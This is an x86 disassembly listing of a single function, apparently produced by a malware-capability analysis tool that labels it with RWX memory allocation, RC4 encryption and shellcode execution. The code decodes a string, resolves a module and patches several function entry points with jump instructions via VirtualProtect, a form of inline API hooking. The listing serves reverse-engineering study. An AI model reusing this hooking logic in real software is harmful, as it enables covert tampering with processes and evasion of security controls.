Function at 0x1000b7d0
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 prga
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
push edi
push 0x9c
lea eax, [ebp - 0xac]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea esi, [ebp - 0xac]
mov dword [ebp - 0xac], 0x9c
call fcn.10001060
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xb3
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10014ec4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x10], dl
jns 0x1000b83d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x1000b820
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 5], 0
call edi
mov esi, eax
xor eax, eax
push 0x64
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
call ebx
test esi, esi
je 0x1000b813
mov eax, dword [0x1001a76c]
mov ecx, dword [eax + 1]
lea edi, [ecx + eax + 5]
mov eax, dword [0x1001a7a4]
mov edx, dword [eax + 1]
lea eax, [edx + eax + 5]
mov dword [0x1001a9b0], eax
mov eax, dword [0x1001a7dc]
mov ecx, dword [eax + 1]
lea edx, [ecx + eax + 5]
mov eax, dword [0x1001a8bc]
mov ecx, dword [eax + 1]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x1001a924], edx
lea edx, [ecx + eax + 5]
mov eax, dword [0x10019ef8]
mov ecx, dword [eax + 1]
mov dword [0x10019eb0], edx
lea edx, [ecx + eax + 5]
mov eax, dword [0x1001a9b4]
mov ecx, dword [eax + 1]
mov dword [0x1001a910], edx
lea edx, [ecx + eax + 5]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push edi
mov dword [0x10019cec], edi
mov dword [0x10018c90], edx
call esi
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
mov ecx, 0x1001a7c0
sub ecx, edi
push 5
sub ecx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ecx
call esi
mov edi, dword [0x1001a9b0]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push edi
call esi
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push ecx
mov edx, 0x1001a8e4
sub edx, edi
push 5
sub edx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], edx
call esi
mov edi, dword [0x1001a924]
lea edx, [ebp - 4]
push edx
push 0x40
push 5
push edi
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
mov eax, 0x10018cc8
sub eax, edi
push 5
sub eax, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], eax
call esi
mov edi, dword [0x10019eb0]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push edi
call esi
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
mov ecx, 0x1001a878
sub ecx, edi
push 5
sub ecx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ecx
call esi
mov edi, dword [0x1001a910]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push edi
call esi
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push ecx
mov edx, 0x1001a8d4
sub edx, edi
push 5
sub edx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], edx
call esi
mov edi, dword [0x10018c90]
lea edx, [ebp - 4]
push edx
push 0x40
push 5
push edi
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
mov eax, 0x1001a7cc
sub eax, edi
push 5
sub eax, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], eax
call esi
mov eax, dword [ebp - 0xa8]
cmp eax, 0xa
je 0x1000bb89
cmp eax, 6
jne 0x1000ba02
cmp dword [ebp - 0xa4], 3
je 0x1000bb89
mov eax, dword [0x10019cec]
mov edi, dword [sym.imp.ntdll.dll_memmove]
push 0xc
push 0x1001a7c0
push eax
call edi
mov ecx, dword [0x1001a9b0]
push 0xc
push 0x1001a8e4
push ecx
call edi
mov edx, dword [0x1001a924]
push 0xc
push 0x10018cc8
push edx
call edi
mov eax, dword [0x10019eb0]
push 0xc
push 0x1001a878
push eax
call edi
mov ecx, dword [0x1001a910]
push 0xc
push 0x1001a8d4
push ecx
call edi
mov edx, dword [0x10018c90]
push 0xc
push 0x1001a7cc
push edx
call edi
mov edi, dword [0x10019cec]
mov ebx, dword [0x1001a76c]
add esp, 0x48
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edi, 5
push edi
add ebx, 5
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ebx
call esi
mov edi, dword [0x1001a9b0]
mov ebx, dword [0x1001a7a4]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edi, 5
push edi
add ebx, 5
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ebx
call esi
mov ebx, dword [0x1001a7dc]
mov edi, dword [0x1001a924]
lea eax, [ebp - 4]
push eax
add ebx, 5
add edi, 5
push 0x40
push 5
push edi
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ebx
call esi
mov edi, dword [0x10019eb0]
mov ebx, dword [0x1001a8bc]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edi, 5
push edi
add ebx, 5
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ebx
call esi
mov edi, dword [0x1001a910]
mov ebx, dword [0x10019ef8]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edi, 5
push edi
add ebx, 5
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ebx
call esi
mov ebx, dword [0x1001a9b4]
mov edi, dword [0x10018c90]
add ebx, 5
add edi, 5
jmp 0x1000bd0b
mov eax, dword [0x10019cec]
mov edi, dword [sym.imp.ntdll.dll_memmove]
push 0xc
push 0x1001a7c0
push eax
call edi
mov ecx, dword [0x1001a9b0]
push 0xc
push 0x1001a8e4
push ecx
call edi
mov edx, dword [0x1001a924]
push 0xc
push 0x10018cc8
push edx
call edi
mov eax, dword [0x10019eb0]
push 0xc
push 0x1001a878
push eax
call edi
mov ecx, dword [0x1001a910]
push 0xc
push 0x1001a8d4
push ecx
call edi
mov edx, dword [0x10018c90]
push 0xc
push 0x1001a7cc
push edx
call edi
mov edi, dword [0x10019cec]
mov ebx, dword [0x1001a76c]
add esp, 0x48
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edi, 5
push edi
add ebx, 5
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ebx
call esi
mov edi, dword [0x1001a9b0]
mov ebx, dword [0x1001a7a4]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edi, 5
push edi
add ebx, 5
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ebx
call esi
mov ebx, dword [0x1001a7dc]
mov edi, dword [0x1001a924]
lea eax, [ebp - 4]
push eax
add ebx, 5
add edi, 5
push 0x40
push 5
push edi
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ebx
call esi
mov edi, dword [0x10019eb0]
mov ebx, dword [0x1001a8bc]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edi, 7
push edi
add ebx, 7
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ebx
call esi
mov edi, dword [0x1001a910]
mov ebx, dword [0x10019ef8]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edi, 7
push edi
add ebx, 7
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
push edi
mov byte [edi], 0xe9
mov dword [edi + 1], ebx
call esi
mov ebx, dword [0x1001a9b4]
mov edi, dword [0x10018c90]
add ebx, 7
add edi, 7
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push edi
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
push edx
sub ebx, edi
push 5
sub ebx, 5
mov byte [edi], 0xe9
push edi
mov dword [edi + 1], ebx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret